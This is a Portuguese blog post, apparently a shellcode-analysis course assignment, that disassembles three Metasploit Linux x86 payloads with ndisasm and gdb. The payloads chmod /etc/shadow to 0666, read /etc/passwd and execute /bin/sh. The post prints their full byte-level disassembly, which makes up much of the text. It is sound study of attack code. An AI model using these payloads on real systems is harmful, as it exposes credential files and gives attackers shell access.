5th assignment:
- dissecar três shellcodes do Metasploit utilizando ndisasm (ou gdb) e libemu
- apresentar análise


1st - linux/x86/chmod

# msfpayload linux/x86/chmod S

       Name: Linux Chmod
     Module: payload/linux/x86/chmod
    Version: 0
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 143
       Rank: Normal

Provided by:
  kris katterjohn <katterjohn@gmail.com>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FILE  /etc/shadow      yes       Filename to chmod
MODE  0666             yes       File mode (octal)

Description:
  Runs chmod on specified file with specified mode

A syscall chmod recebe dois argumentos, o primeiro é o caminho ou arquivo a ter as permissões setadas, e o segundo é o bitmask resultado dos respectivos octais "ORed".

O payload linux/x86/chmod modifica as permissões de acesso do arquivo /etc/shadow para 0666.

# msfpayload linux/x86/chmod R | ndisasm -u -
00000000  99                cdq
00000001  6A0F              push byte +0xf
00000003  58                pop eax
00000004  52                push edx
00000005  E80C000000        call dword 0x16
0000000A  2F                das
0000000B  657463            gs jz 0x71
0000000E  2F                das
0000000F  7368              jnc 0x79
00000011  61                popad
00000012  646F              fs outsd
00000014  7700              ja 0x16
00000016  5B                pop ebx
00000017  68B6010000        push dword 0x1b6
0000001C  59                pop ecx
0000001D  CD80              int 0x80
0000001F  6A01              push byte +0x1
00000021  58                pop eax
00000022  CD80              int 0x80

Ele inicia com a instrução CDQ no intento de zerar EDX; aqui, já econtramos uma falha no shellcode do msf. Se houver lixo em EAX (um número negativo, por exemplo) EDX não será zerado, pois o CDQ copia o sign bit 31 de EAX para todos os bits de EDX.

00000000  99                cdq

A segunda instrução coloca o valor 15 ou 0xf em hexa no topo da STACK para seguidamente ser retirado e inserido em EAX.

00000001  6A0F              push byte +0xf    __NR_chmod
00000003  58                pop eax

Salvando EDX (supostamente 0) na stack.

00000004  52                push edx

"Percebi que essa última instrução, se removida, não afeta o shellcode, uma vez que o nome do arquivo não é inserido na STACK. Serão, então, a CDQ e a PUSH EDX, tentativas de evasão de IPS/IDS?"

Agora, o shellcode faz uma CALL para o EIP somado de 22 bytes. Esta call é utilizada em conjunto com a próxima instrução que retirará o novo endereço de EIP da STACK e salvará em EBX, onde o nome do arquivo (primeiro argumento da syscall) está em forma de bytes.

00000005  E80C000000        call dword 0x16    Mais um problema no payload - NULL bytes
...
00000016  5B                 pop ebx

Vejam que se convertermos os bytes do trecho entre a CALL (byte 5) e o destino (byte 16) em string, encontraremos o nome do arquivo.

2F                das
657463            gs jz 0x71
2F                das
7368              jnc 0x79
61                popad
646F              fs outsd
7700              ja 0x16

A string é hardcoded no payload com a terminação NULL (0).

# python
>>>  bytes.fromhex("2F6574632F736861646F7700")
b'/etc/shadow\x00'

No gdb, podemos verificar isso mais facilmente.

(gdb) x/s $ebx
0x804974a <shellcode+10>: "/etc/shadow"

(gdb) x/12bx $ebx
0x804974a <shellcode+10>: 0x2f 0x65 0x74 0x63 0x2f 0x73 0x68 0x61
0x8049752 <shellcode+18>: 0x64 0x6f 0x77 0x00

Em seguida, é inserido na STACK e retirado com POP ECX o bit mask para uso como segundo argumento da syscall chmod.

00000017  68B6010000        push dword 0x1b6
0000001C  59                pop ecx

O valor hexa 0x1b6 corresponde ao octal 0666.

# printf '%o\n' 0x01b6
666

ou

# printf '%x\n' 0666 (lembre-se de colocar o zero à esquerda)
0x1b6

O restante do payload trata de chamar a syscall chmod com a INT 0x80 e fechar o programa explorado.

0000001D  CD80              int 0x80

0000001F  6A01              push byte +0x1
00000021  58                pop eax
00000022  CD80              int 0x80

O chmod do msf tem 36 bytes. Dele consegui diminuir 2 bytes e ainda evitar possíveis bytes lixo; vejam abaixo.




2nd - linux/x86/read_file

# msfpayload linux/x86/read_file PATH=/etc/passwd S

       Name: Linux Read File
     Module: payload/linux/x86/read_file
    Version: 
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 180
       Rank: Normal

Provided by:

  hal

Basic options:

Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FD    1                yes       The file descriptor to write output to
PATH  /etc/passwd      yes       The file path to read

Description:

  Read up to 4096 bytes from the local file system and write it back 
  out to the specified file descriptor

O payload read_file faz uso de quatro syscalls: open, read, write e exit. Mais informações: man 2 syscall.

# msfpayload linux/x86/read_file PATH=/etc/passwd R | ndisasm -u -
00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7061              jo 0xa5
00000044  7373              jnc 0xb9
00000046  7764              ja 0xac
00000048  0000              db 0x00

Encontramos mais uma vez o uso do JMP/CALL/POP para obter o endereço da string e, neste caso, copiá-lo para EBX.

00000000  EB36              jmp short 0x38
...
00000038  E8C5FFFFFF        call dword 0x2
...
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx

A string se localiza logo abaixo da instrução CALL.

E8C5FFFFFF        call dword 0x2
2F                das
657463            gs jz 0xa4
2F                das
7061              jo 0xa5
7373              jnc 0xb9
7764              ja 0xac
00                db 0x00

python
>>>  bytes.fromhex("2F6574632F70617373776400")
b'/etc/passwd\x00'

A continuação do shellcode é de fácil compreensão.

int open(["/etc/passwd", 0], 0);

00000002  B805000000        mov eax,0x5    NULL bytes
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80

Após obtermos o retorno de open (file descriptor), continuamos com a syscall read, que copiará 4096 bytes do file descriptor dentro da STACK.

ssize_t read(ebx, *esp, 4096);

0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80

Eu realmente não entendi o motivo do payload utilizar EDI, e portanto fazer a cópia duas vezes do ponteiro de ESP. Pois bastava fazer: mov ecx,espSerá isso mais uma tentativa de evasão?

Agora que já temos os dados do arquivo, vamos escrevê-lo no stdout.

ssize_t write(1, *esp, edx);

0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80

E sair do programa graciosamente.

0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80

A versão do msf tem 73 bytes. A minha tem apenas 51 bytes, é à prova de lixo e livre de null bytes.


O limite de leitura e escrita de 4096 bytes é uma garantia para não haver estouro de pilha. Podemos saber qual o limite da STACK utilizando o ulimit.

# ulimit -a
...
stack size              (kbytes, -s) 8192
...

E se precisarmos de mais espaço na STACK, podemos aumentar o seu tamanho antes de a utilizarmos.

# man 2 setrlimit
...
int setrlimit(int resource, const struct rlimit *rlim);
...

;)


3rd - linux/x86/exec

# msfpayload linux/x86/exec S

       Name: Linux Execute Command
     Module: payload/linux/x86/exec
    Version: 0
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 143
       Rank: Normal

Provided by:
  vlad902 <vlad902@gmail.com>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
CMD                    yes       The command string to execute

Description:
  Execute an arbitrary command

# msfpayload linux/x86/exec CMD=/bin/sh R | ndisasm -u -

00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E808000000        call dword 0x25
0000001D  2F                das
0000001E  62696E            bound ebp,[ecx+0x6e]
00000021  2F                das
00000022  7368              jnc 0x8c
00000024  005753            add [edi+0x53],dl
00000027  89E1              mov ecx,esp
00000029  CD80              int 0x80

O execve é um velho conhecido nosso, correto? Por isso, deixo esta análise com vocês. Comparem o assembly do msf com o do Vivek e depois com o Tiny Execve Sh, o qual já apresentei em post anterior.

Dǘvidas? Críticas!? Comentem. Será um prazer respondê-los.

Até a próxima.

o//


Mais Informações

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Brazil License.